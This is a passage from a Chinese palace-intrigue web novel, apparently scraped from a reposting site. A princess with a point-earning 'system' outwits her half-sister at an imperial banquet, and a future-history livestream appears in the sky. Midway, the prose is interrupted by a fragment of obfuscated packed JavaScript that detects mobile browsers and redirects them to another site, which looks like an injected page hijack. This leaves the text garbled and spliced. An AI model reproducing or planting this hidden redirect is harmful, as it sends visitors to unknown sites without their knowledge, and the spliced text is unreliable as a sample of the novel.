殷宁停住脚步,笑吟吟地转头望向殷丹:“怎么了,六姐,您是得了什么重病,马上就要撒手人寰了吗?” 殷丹原本是想嘲笑殷宁,却没想到竟然被殷宁这样“关心”了一番身体。 她瞬间气得怒目瞪向殷宁,急声驳斥道:“你会不会说话啊?你才要撒手人寰呢!我身体不知道有多健康!” 殷宁笑着挑了挑眉:“这到底是谁不会说话啊?要不是刚才六姐你那样说,我又怎么会误会呢?” 殷丹从前在殷宁这里吃过太多次亏,她知道自己单论嘴皮子,肯定是说不过殷宁。 于是,她索性也不和殷宁继续掰扯这事,而是高抬起下巴,皮笑肉不笑地朝殷宁说道: “我刚才之所以那么说,那是想到八妹你在不久的将来,很可能就得远嫁到西北那样的苦寒之地,所以这才忍不住对八妹你心生怜悯!” 殷丹之前以为殷宁会和自己一样,出嫁后就居住在京中自己的公主府里。 可她前两天从丈夫那里,听到了一个消息,说是靖明帝似乎打算在西北边疆那边替殷宁另外搭建公主府。 殷丹自打得知这件事后,心中就忍不住幸灾乐祸了起来,毕竟西北那边是出了名的环境恶劣、生活艰苦。 而殷宁一旦真的嫁到那边后,轻易就不可能再重新回到京城。 殷丹这两天每次只要一想到这件事,就都能乐得忍不住笑出声来。 此刻,她看着殷宁的目光,自然更是充满了明晃晃的得意和嘲笑。 18. 第 18 章 BY:晋江·丸二缘 殷宁原本还以为殷丹会搞出什么新花样来,却没想到,殷丹竟然就只是为了自己结婚后可能得住到西北那边的事。 事实上,殷宁早在当初得知自己会和宿昱成婚的消息时,就已经料到了这件事。 毕竟,自打宿昱15岁那年上了战场后,他这几年简直就跟开了挂一样,在西北那边屡立奇功,战绩颇丰。 殷宁甚至还听说,西北边关外那些蠢蠢欲动的部落,如今提起他时,一个个那都是气得咬牙切齿,恨不能将宿昱给杀之而后快。 这样一位明显是天纵奇才的少年将军,殷宁相信,只要她父皇靖明帝还没有脑子进水,心中还放着大靖江山以及黎民百姓,那就绝不可能将宿昱召回到京师,让他往后余生在京师当个富贵闲人。 宿家有她老师宿峥以及宿桉在京师,“人质”的份量已经足够了。 等她之后嫁到西北,在那边建立起自己的公主府,那皇室对宿家以及西北边军的掌控程度,更是只会提升,而不会降低。 所以,就算靖明帝直至今日都没和她提过婚后住所的安排,殷宁心里其实也早已门儿清。 而如果不是天幕骤然出现的话,她对于去到西北定居这件事,除了放不下她母后以及外公外,心中并没有其他太多抗拒的情绪。 毕竟,比起在京师过着这样每日基本一成不变的生活,她倒是更期待西北那广阔无垠的天地。 她对于西北的环境其实也并不陌生,因为上一世她大学刚毕业时,就参加过学校组织的西部计划,并且在那边干了三年的乡村基层工作。 虽然在她上一世所学的历史中,并没有大靖朝这么一个朝代,但殷宁这些年看过不少西北边关的相关游记,知道这边的西北气候确实和她上一世去志愿服务的地方差不多。 不过,虽然对殷丹的嘲笑并不在意,但殷宁却并不打算就这样将事情翻篇。 毕竟,这可是关系着她的宫斗积分! 宿昱有没有挂,她不清楚,但她知道自己可是有挂的! 而就在刚才,她绑定的宫斗系统007都已经弹出任务提醒: 【宫宴解嘲:你同父异母的六姐公然在宫宴上奚落讥讽你,请完成打脸反击任务,奖励20积分】 殷宁之所以每次一看到殷丹,就心情大好,是因为她把殷丹当作了自己刷积分的NPC。 过去这些年里,殷宁都有些说不准,她到底靠着殷丹,从007系统那里获得了多少积分。 系统提供的积分,用处颇多,殷宁之前正是不断通过积分兑换系统商城里的体力值,把自己的体能天赋都给点满了,从而让自己成为了个武学奇才。 而除了可以兑换体力、智力这类天赋值外,积分还能够兑换各种神奇道具。 殷宁这些年之所以能够一眼就分辨敌我,也正是因为她之前花大积分从系统商城那里兑换了个识人问心的BUFF。 任何只要对她心怀危险敌意的人,殷宁都能看到那个人的头顶会浮出一团黑雾特效。 敌意越重,黑雾越大 而在殷宁绑定这个识人问心的BUFF后,她每次见到殷丹,就都能看到殷丹头顶出现一团黑雾,堪称是乌云盖顶。 所以,对于拿殷丹刷积分这事,殷宁从来是半点都不犹豫,很是乐在其中。 她笑着望向殷丹,说道:“六姐,你这么一个大忙人,怎么还有心思来操心我的事啊?” 殷宁眉眼间故意露出得意之色,似笑非笑地看着殷丹: “我听说最近这满京城的人都在私下议论,刘驸马和十三皇叔因为争夺一个青楼名妓,而在大庭广众之下厮打了起来。” 殷宁口中的刘驸马,正是殷丹的丈夫刘飞鹏,至于十三皇叔,则是靖明帝最小的弟弟。 “六姐,不是我喜欢多管闲事,但你可真是该听我一句劝,没事得多让驸马锻炼身体,他这也实在是太虚了。他再怎么说,也不过才二十七岁的人,怎么就能被十三皇叔这么一个年过四十的人给打得毫无招架之力呢?” “我听说你前几天还去找过十三皇叔,责怪十三皇叔不该对刘驸马那么下手狠辣,但我说句公道话,这事真怪不到十三皇叔头上,他估计也没想到刘驸马的身子会那么不中用!” 殷丹自打前阵子得知刘飞鹏和卫王这个十三皇叔在青楼里大打出手,心中就对这事恨得咬牙切齿。 刘驸马今天之所以没有跟着殷丹一起进宫,也是因为他被卫王打在脸上的伤势还没好全,看起来鼻青脸肿、格外凄惨。 眼下,偏偏殷宁还哪壶不开提哪壶,这自然是让性格跋扈的殷丹瞬间极其恼怒。 然而,正当她打算开口叱骂殷宁时,她身后却突然响起了一道爽朗的说话声: “六妹,今日可是宫中一年一度的大宴,你怎么又和八妹吵起来了?” 四皇子殷沐说话间,从殷丹的身后缓步走了上来。 而殷丹听到殷沐这话,心中自然更是各种不服气。 明明殷宁也在这里,结果殷沐竟然就只说她一个人?! 殷沐在走到殷宁和殷丹的身边后,还又朝殷丹继续说道: “六妹,我听说父皇先前可是很恼火刘驸马的事情,今天这么喜庆的场合,我看六妹你就还是别给父皇添堵了,免得惹父皇不高兴!” 听到殷沐这样明晃晃的睁眼说瞎话,帮着殷宁拉偏架,殷丹瞬间是怒火中烧,气得满脸涨红。 她忍不住朝殷沐辩驳道:“四哥,驸马的事情明明是八妹她刚才先提起的,你是不是找错指责的对象了?” 殷沐闻言,摆摆手,语气笃定地道:“六妹,我又不是头一天认识你们俩个,每次只要你和八妹起冲突,永远都是你先挑的事。我相信这次肯定也不例外!” 殷宁听到殷沐这话,直接噗嗤一声就笑了出来,甚至朝殷沐竖起了大拇指: “还是四哥眼力过人,知道谁对谁错。” 而殷丹对此,却是脸色一阵阴沉,她很想怒怼一通殷沐,但脑海中又忍不住想起她亲哥殷毅跟她说过,殷沐可能是靖武帝的事情。 殷丹之前虽然人在宫外的公主府,但她自然也有关注天幕上柳三柒说的内容。 在得知靖武帝也是靖明帝的血脉后,殷丹一开始格外激动,甚至迫不及待去找到她亲哥,也就是五皇子殷毅。 她觉得殷毅说不定就是天幕上一直提及的靖武帝。 然而,殷毅的回答却让她大失所望,因为殷毅根本就没有救过什么被殷文囚禁起来的人。 而在殷毅看来,在剩下的四皇子和七皇子中,一直以来对皇位表现出不争不抢态度的四皇子殷沐,反倒更有可能是靖武帝。 殷毅和殷丹从前对殷沐的态度都颇为冷淡,觉得殷沐这个四哥胸无大志,根本不需要放在眼里。 可在得知殷沐很大概率是靖武帝以后,殷毅就告诉殷丹,他们兄妹必须想办法拉近自己和殷沐的关系。 他们年纪那么年轻,以后还不知道得有多少年在靖武帝手下讨生活。 而一旦能够和靖武帝建立起亲近关系,那他们也就能够顺利得到靖武帝的照拂了。 想到这,殷丹只好强行压下心中想要喷涌而出的那股怒火。 她深吸了一口气,努力朝殷沐挤出一抹笑,让自己语气听起来比较温和平静: “四哥,你说得对,我刚才确实不应该主动和八妹提起她可能要远嫁到西北的事情,但我也是好意提醒她,想让她早点做好准备,免得之后匆匆忙忙,到了西北照顾不好自己。” 殷丹的话,殷沐连半个标点符号都不相信,不过,既然殷丹自己都找了个台阶下,殷沐自然也不好意思和殷丹再继续掰扯这事。 毕竟,眼下时间其实也已经不早了,再过一会儿,靖明帝估计就和皇后要过来了。 于是,殷沐就朝殷丹直接开口道:“你不用担心八妹,她比你有能耐多了,你还是先顾好你自己的事情吧。” 殷沐这话,自然是气得殷丹脸上神色一阵青一阵白,但她最后也还是没发火,而是嘴角扯着笑朝殷沐提出告别。 殷宁一脸疑惑地看着殷丹进殿的背影,转头又看向殷沐: “我不是出现幻觉了吧?你刚才那样说她,结果她就这样直接走了?这可不像她殷丹的性格!” 殷沐笑着耸了下肩:“我猜,这可能是因为她觉得我和靖武帝有关系吧。” “啊?” “哈哈哈哈哈,你也觉得不可思议对吧?我自己都不敢想我能那么厉害呢!但和她那样想的人,最近却不是少数!” 殷沐很清楚地知道自己不是靖武帝,但即使他已经闭门谢客,他原本门可罗雀的四皇子府,最近依然变得门庭若市了起来。 殷宁也没想到,原来殷丹态度变化的原因,竟然这么朴实无华。 而在这时,007系统也正好在她脑海里弹出任务结算提醒,说她已经完成刚才的任务,20积分顺利进账。 虽然20积分在系统商城里买不了什么好东西,但殷宁这些年就是靠着积少成多的方式,才逐渐变成了今天坐拥6800积分的积分大户。 蚊子再小也是肉,轻松赚到20积分的殷宁,心情因此很是舒畅。 等到她和殷沐进入殿内就座后,没过一会儿,靖明帝和许皇后也登场了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506905|202241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 皇宫每年都会举办这场大宴,靖明帝对于相关流程,自然是早已熟记于心。 宴会最开始,靖明帝端坐在殿内最上方的龙椅上,接受完文武百官以及皇室成员的三跪九叩大礼后,他抬手示意众人平身。 随后,靖明帝又命人向赴宴的众人赐酒、赏膳。 而在大家一边品鉴珍馐佳肴,一边欣赏宫廷乐舞时,坐在龙椅上的靖明帝,目光却是不由在几个皇子的身上扫过。 此刻,靖明帝的心中充满了疑惑,他原先以为在上次的天幕直播过后,靖武帝应该很快就会主动找上他。 可他这几天等了又等,都没看到他那其他另外几个儿子有任何不寻常的动作。 袁文作为靖明帝的太监总管,伺候了靖明帝将近四十年的他,对靖明帝的一举一动自然是格外了解。 眼下看到靖明帝一直眉头微蹙,他当即就猜到了靖明帝此刻正在烦心的事情。 袁文站在靖明帝身旁,居高临下,他只需一眼就能看清此刻整个宴会的现场情况。 他眼神轻轻落在了此刻怀中正抱着一只幼猫的殷宁身上。 在今天如此隆重的宫中盛宴上,出现一只小猫自然是不合理的事情。 袁文刚才目睹了事情的全过程,那只小猫原本是从窗外突然跃入殿内,宫人们见状自然是都吓得大惊失色,生怕它惊扰到宴会的正常进行,于是一个个都蹑手蹑脚,试图赶紧将它给抓捕起来。 然而,那小橘猫虽然相貌普通,动作却是极其灵敏,各种窜逃,最终竟然躲到了殷宁的桌下,被殷宁从桌子底下给捞进了怀里。 随后,殷宁朝宫人挥手示意,让他们尽管退下,不用再追捕小橘猫。 而高坐在上面的靖明帝和许皇后,自然是很快就都注意到殷宁怀中突然多出了一只圆滚滚的幼猫。 不过,他们这对身份尊贵的帝后夫妻,却是都不约而同地选择了沉默,似乎并没有察觉到任何不对劲。 此刻在场的宴会宾客们,一个个那都是人精中的人精,自然也都迅速明白了靖明帝和许皇后的意思。 于是,对于殷宁怀中的那只小橘猫,大家都一致选择视若无睹。 而袁文看着正将猫咪圈在怀里贴贴的殷宁,他那双深不见底的眼眸,却是不由闪过了几分深思。 作为在宫中摸爬滚打了一辈子的太监,袁文深知,有时候你觉得最不可能的事情,反而才是真相。 而在上一次柳三柒的直播中,那条在提及靖武帝时,用了“她”这个称谓的弹幕,袁文当时也同样注意到了。 那会儿,他并没有将这条弹幕放在心上,但这几日,他私下里却是越想越觉得,这可能并非是单纯的笔误。 一朝天子一朝臣,连臣子们都尚且需要为皇帝的更替而担心,袁文作为身家性命都系在靖明帝身上的太监,他自然更是格外在意靖明帝的继任者会是谁。 所以,袁文这些年虽然没有明说,实际上却一直在暗中观察着靖明帝的各个子嗣。 正是因为对各个皇子的性格都极其了解,袁文在反复思考过后,才认为他们不可能是后人在天幕上所介绍的那个靖武帝。 几个皇子之中,要不就是没有靖武帝的那份能力,要不就是缺少靖武帝身上的那份胆气和豪气。 可当袁文将目光转而放到殷宁这个素有侠女之称的八公主身上,他心中却是骤然一惊,因为抛开性别不谈,殷宁竟然是最符合靖武帝的那个人选。 听到靖明帝在此时微不可觉地轻叹了一口气,袁文只是微微垂眸,并没有将自己此刻心中的猜测告知给靖明帝知道。 在他看来,假如靖武帝真是殷宁的话,那以他对靖明帝的了解,如此石破天惊的事情,只适合从柳三柒这个后人口中说出。 因为只有经过柳三柒这个后人的亲口认证,靖明帝才会真的彻底信服这事。 袁文默默将自己的这些想法都藏到了心底,在意识到殷宁可能是靖武帝之后,他紧绷了多年的神经,如今微微得到了放松。 而随着宴会逐渐进展到尾声,就在袁文以为这场晚宴今天会就这样顺利结束时,天幕却骤然从天而降。 天幕以半透明的形式,直接穿过宫殿,出现在了宴会的上空。 柳三柒那熟悉的身影,很快就出现在了众人的视线中。 直播间里的她,笑着朝网友们问候了一声后,随即切入正题,道: “宝子们,三柒我今晚要讲的,正是靖武帝一生中最为致命的三次危机!” “关关难过关关过,假如靖武帝在这三次危机里,哪一个没有顺利处理好,那咱们今天很可能都看不到历史上的靖武盛世了!”